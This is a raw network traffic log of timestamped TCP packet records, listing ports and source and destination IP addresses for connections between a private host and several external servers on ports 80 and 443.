Nov 23, 2024 03:21:17.125052929 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.125977039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.126022100 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.267571926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.267704964 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.267767906 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.267939091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.268016100 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.268088102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.268815041 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.268923998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.268975973 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.269697905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.269743919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.269752026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.270540953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.270607948 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.270649910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.271424055 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.271470070 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.271536112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.271579981 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.272304058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.272433996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.272485018 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.273145914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.273266077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.273313999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.274022102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.274066925 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.274096966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.274616957 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.274899006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.274945974 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.275010109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.275053978 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.275810957 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.275856018 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.275937080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.275980949 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.276645899 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.276688099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.276752949 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.276796103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.277506113 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.277549982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.277612925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.277653933 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.278388023 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.278430939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.278492928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.278536081 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.279258013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.279371023 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.279416084 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.280134916 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.280237913 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.280283928 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.281012058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.281069994 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.281106949 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.281912088 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.281955004 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.282021046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.282622099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.282706976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.282825947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.282874107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.283601999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.283715963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.283762932 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.284445047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.284495115 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.284559965 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.285324097 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.285367012 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.285459042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.286196947 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.286242962 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.286279917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.286324978 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.287049055 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.287166119 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.287211895 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.287935019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.288008928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.288058996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.785921097 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:17.786458015 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:17.786503077 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:17.787058115 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:17.787071943 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:18.028122902 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:18.028587103 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:18.028661013 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:18.029031992 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:18.029051065 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:18.218709946 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:18.218763113 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:18.219053984 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:18.255538940 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:18.255538940 CET	49776	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:18.255578995 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:18.255623102 CET	443	49776	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:18.347578049 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:18.359049082 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:18.388591051 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:18.404196978 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:18.473762989 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:18.473818064 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:18.473900080 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:18.526588917 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:18.526634932 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:18.526694059 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:18.527205944 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:18.527220011 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:18.527658939 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:18.527677059 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:18.528218031 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:18.528230906 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:18.528657913 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:18.528686047 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:18.529045105 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:18.529057980 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:18.572205067 CET	49777	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:18.572247982 CET	443	49777	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:18.576764107 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:18.576822042 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:18.576910019 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:18.577559948 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:18.577589989 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:18.852819920 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:18.852883101 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:18.852937937 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:18.853174925 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:18.853199959 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:18.853225946 CET	49779	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:18.853239059 CET	443	49779	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:18.856002092 CET	49783	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:18.856034040 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:18.856096029 CET	49783	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:18.856302023 CET	49783	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:18.856309891 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:18.861598969 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:18.861767054 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:18.861824036 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:18.861872911 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:18.861901045 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:18.861926079 CET	49780	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:18.861942053 CET	443	49780	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:18.863765955 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:18.863795042 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:18.863848925 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:18.863960028 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:18.863965034 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:19.610213041 CET	49754	80	192.168.2.4	185.215.113.43
Nov 23, 2024 03:21:19.610399961 CET	49785	80	192.168.2.4	185.215.113.43
Nov 23, 2024 03:21:19.729871035 CET	80	49785	185.215.113.43	192.168.2.4
Nov 23, 2024 03:21:19.729940891 CET	49785	80	192.168.2.4	185.215.113.43
Nov 23, 2024 03:21:19.730029106 CET	80	49754	185.215.113.43	192.168.2.4
Nov 23, 2024 03:21:19.730087996 CET	49785	80	192.168.2.4	185.215.113.43
Nov 23, 2024 03:21:19.730113029 CET	49754	80	192.168.2.4	185.215.113.43
Nov 23, 2024 03:21:19.849499941 CET	80	49785	185.215.113.43	192.168.2.4
Nov 23, 2024 03:21:20.573319912 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:20.573869944 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:20.573920965 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:20.574268103 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:20.574285984 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:20.638638020 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:20.639378071 CET	49783	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:20.639378071 CET	49783	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:20.639410019 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:20.639431000 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:20.645422935 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:20.646107912 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:20.646107912 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:20.646131992 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:20.646141052 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:20.653835058 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:20.773333073 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:20.774785042 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:20.775759935 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:20.895159006 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:21.028877974 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.028938055 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.030805111 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:21.081881046 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.081954956 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.082633018 CET	49783	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:21.087127924 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:21.087157011 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.087213039 CET	49782	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:21.087246895 CET	443	49782	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.089921951 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.090058088 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.093910933 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:21.110985041 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:21.110985041 CET	49784	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:21.110995054 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.110999107 CET	443	49784	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.114866972 CET	49783	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:21.114886999 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.114917040 CET	49783	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:21.114923954 CET	443	49783	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.147228003 CET	80	49785	185.215.113.43	192.168.2.4
Nov 23, 2024 03:21:21.150811911 CET	49785	80	192.168.2.4	185.215.113.43
Nov 23, 2024 03:21:21.152232885 CET	49787	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:21.152322054 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.152508974 CET	49787	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:21.207340956 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:21.207376003 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.208311081 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:21.208319902 CET	49787	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:21.208365917 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.260787010 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:21.260831118 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.260910034 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:21.260914087 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:21.260936022 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.263999939 CET	49789	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:21.264014006 CET	443	49789	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.265053988 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:21.361109018 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.361535072 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:21.361553907 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.362018108 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:21.362025023 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.363363028 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.363671064 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:21.363755941 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.364020109 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:21.364034891 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.384546995 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:21.384618044 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:21.384783983 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:21.504156113 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:21.805026054 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.805121899 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.805175066 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:21.805351019 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:21.805368900 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.805382967 CET	49781	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:21.805389881 CET	443	49781	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.808088064 CET	49791	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:21.808119059 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.808320045 CET	49791	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:21.808453083 CET	49791	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:21.808465004 CET	443	49791	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.818190098 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.818243980 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.818308115 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:21.818495035 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:21.818531990 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.818558931 CET	49778	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:21.818573952 CET	443	49778	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.820492029 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:21.820517063 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:21.820573092 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:21.820681095 CET	49792	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:21.820693016 CET	443	49792	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:22.287303925 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.287334919 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.287344933 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.287427902 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.287451029 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.287456036 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.287460089 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.287482977 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.287492990 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.287497044 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.287568092 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.287635088 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.407154083 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.407277107 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.407593012 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.411362886 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.451049089 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.497874975 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.497973919 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.498136044 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.502048969 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.502168894 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.502229929 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.510438919 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.510560989 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.510626078 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.518832922 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.518939018 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.519048929 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.527218103 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.527343988 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.527400970 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.535645962 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.535758018 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.535829067 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.544047117 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.544146061 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.544190884 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.552437067 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.552545071 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.554646969 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.560833931 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.560935974 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.562652111 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.569216967 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.569323063 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.570089102 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.577641964 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.577740908 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.577857018 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.585964918 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.617636919 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.617726088 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.746638060 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.746763945 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.746972084 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.748524904 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.748615980 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.748701096 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.752331972 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.752445936 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.752504110 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.756125927 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.756253004 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.756306887 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.759952068 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.760092020 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.760144949 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.763766050 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.763854980 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.763936996 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.767575026 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.767725945 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.767779112 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.771393061 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.771519899 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.771576881 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:22.775208950 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.775348902 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:22.775418997 CET	49786	80	192.168.2.4	34.116.198.130
